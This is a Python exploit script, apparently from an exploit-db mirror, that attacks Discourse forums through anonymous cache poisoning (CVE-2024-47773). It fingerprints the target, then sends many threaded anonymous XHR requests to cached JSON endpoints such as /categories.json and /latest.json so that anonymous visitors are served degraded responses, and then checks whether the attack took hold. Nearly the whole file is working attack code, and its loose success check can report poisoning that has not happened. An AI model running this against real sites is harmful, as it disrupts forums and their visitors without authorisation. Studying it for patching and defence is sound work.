exploit-db-mirror/exploits/multiple/webapps/52358.py

#!/usr/bin/env python3
"""
Exploit Title: Discourse 3.2.x - Anonymous Cache Poisoning
Date: 2024-10-15
Exploit Author: ibrahimsql
Github: : https://github.com/ibrahmsql
Vendor Homepage: https://discourse.org
Software Link: https://github.com/discourse/discourse
Version: Discourse < latest (patched)
Tested on: Discourse 3.1.x, 3.2.x
CVE: CVE-2024-47773
CVSS: 7.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)

Description:
Discourse anonymous cache poisoning vulnerability allows attackers to poison
the cache with responses without preloaded data through multiple XHR requests.
This affects only anonymous visitors of the site.

Reference:
https://nvd.nist.gov/vuln/detail/CVE-2024-47773
"""

import requests
import sys
import argparse
import time
import threading
import json
from urllib.parse import urljoin

class DiscourseCachePoisoning:
    def __init__(self, target_url, threads=10, timeout=10):
        self.target_url = target_url.rstrip('/')
        self.threads = threads
        self.timeout = timeout
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': 'application/json, text/javascript, */*; q=0.01',
            'X-Requested-With': 'XMLHttpRequest'
        })
        self.poisoned = False

    def check_target(self):
        """Check if target is accessible and running Discourse"""
        try:
            response = self.session.get(f"{self.target_url}/", timeout=self.timeout)
            if response.status_code == 200:
                if 'discourse' in response.text.lower() or 'data-discourse-setup' in response.text:
                    return True
        except Exception as e:
            print(f"[-] Error checking target: {e}")
        return False

    def check_anonymous_cache(self):
        """Check if anonymous cache is enabled"""
        try:
            # Test endpoint that should be cached for anonymous users
            response = self.session.get(f"{self.target_url}/categories.json", timeout=self.timeout)

            # Check cache headers
            cache_headers = ['cache-control', 'etag', 'last-modified']
            has_cache = any(header in response.headers for header in cache_headers)

            if has_cache:
                print("[+] Anonymous cache appears to be enabled")
                return True
            else:
                print("[-] Anonymous cache may be disabled")
                return False

        except Exception as e:
            print(f"[-] Error checking cache: {e}")
            return False

    def poison_cache_worker(self, endpoint):
        """Worker function for cache poisoning attempts"""
        try:
            # Create session without cookies to simulate anonymous user
            anon_session = requests.Session()
            anon_session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'Accept': 'application/json, text/javascript, */*; q=0.01',
                'X-Requested-With': 'XMLHttpRequest'
            })

            # Make rapid requests to poison cache
            for i in range(50):
                response = anon_session.get(
                    f"{self.target_url}{endpoint}",
                    timeout=self.timeout
                )

                # Check if response lacks preloaded data
                if response.status_code == 200:
                    try:
                        data = response.json()
                        # Check for missing preloaded data indicators
                        if self.is_poisoned_response(data):
                            print(f"[+] Cache poisoning successful on {endpoint}")
                            self.poisoned = True
                            return True
                    except:
                        pass

                time.sleep(0.1)

        except Exception as e:
            pass
        return False

    def is_poisoned_response(self, data):
        """Check if response indicates successful cache poisoning"""
        # Look for indicators of missing preloaded data
        indicators = [
            # Missing or empty preloaded data
            not data.get('preloaded', True),
            data.get('preloaded') == {},
            # Missing expected fields
            'categories' in data and not data['categories'],
            'topics' in data and not data['topics'],
            # Error indicators
            data.get('error') is not None,
            data.get('errors') is not None
        ]

        return any(indicators)

    def test_cache_poisoning(self):
        """Test cache poisoning on multiple endpoints"""
        print("[*] Testing cache poisoning vulnerability...")

        # Target endpoints that are commonly cached
        endpoints = [
            '/categories.json',
            '/latest.json',
            '/top.json',
            '/c/general.json',
            '/site.json',
            '/site/basic-info.json'
        ]

        threads = []

        for endpoint in endpoints:
            print(f"[*] Testing endpoint: {endpoint}")

            # Create multiple threads to poison cache
            for i in range(self.threads):
                thread = threading.Thread(
                    target=self.poison_cache_worker,
                    args=(endpoint,)
                )
                threads.append(thread)
                thread.start()

            # Wait for threads to complete
            for thread in threads:
                thread.join(timeout=5)

            if self.poisoned:
                break

            time.sleep(1)

        return self.poisoned

    def verify_poisoning(self):
        """Verify if cache poisoning was successful"""
        print("[*] Verifying cache poisoning...")

        # Test with fresh anonymous session
        verify_session = requests.Session()
        verify_session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })

        try:
            response = verify_session.get(f"{self.target_url}/categories.json", timeout=self.timeout)

            if response.status_code == 200:
                try:
                    data = response.json()
                    if self.is_poisoned_response(data):
                        print("[+] Cache poisoning verified - anonymous users affected")
                        return True
                    else:
                        print("[-] Cache poisoning not verified")
                except:
                    print("[-] Unable to parse response")
            else:
                print(f"[-] Unexpected response code: {response.status_code}")

        except Exception as e:
            print(f"[-] Error verifying poisoning: {e}")

        return False

    def exploit(self):
        """Main exploit function"""
        print(f"[*] Testing Discourse Cache Poisoning (CVE-2024-47773)")
        print(f"[*] Target: {self.target_url}")

        if not self.check_target():
            print("[-] Target is not accessible or not running Discourse")
            return False

        print("[+] Target confirmed as Discourse instance")

        if not self.check_anonymous_cache():
            print("[-] Anonymous cache may be disabled (DISCOURSE_DISABLE_ANON_CACHE set)")
            print("[*] Continuing with exploit attempt...")

        success = self.test_cache_poisoning()

        if success:
            print("[+] Cache poisoning attack successful!")
            self.verify_poisoning()
            print("\n[!] Impact: Anonymous visitors may receive responses without preloaded data")
            print("[!] Recommendation: Upgrade Discourse or set DISCOURSE_DISABLE_ANON_CACHE")
            return True
        else:
            print("[-] Cache poisoning attack failed")
            print("[*] Target may be patched or cache disabled")
            return False

def main():
    parser = argparse.ArgumentParser(description='Discourse Anonymous Cache Poisoning (CVE-2024-47773)')
    parser.add_argument('-u', '--url', required=True, help='Target Discourse URL')
    parser.add_argument('-t', '--threads', type=int, default=10, help='Number of threads (default: 10)')
    parser.add_argument('--timeout', type=int, default=10, help='Request timeout (default: 10)')

    args = parser.parse_args()

    exploit = DiscourseCachePoisoning(args.url, args.threads, args.timeout)

    try:
        success = exploit.exploit()
        sys.exit(0 if success else 1)
    except KeyboardInterrupt:
        print("\n[-] Exploit interrupted by user")
        sys.exit(1)
    except Exception as e:
        print(f"[-] Exploit failed: {e}")
        sys.exit(1)

if __name__ == '__main__':
    main()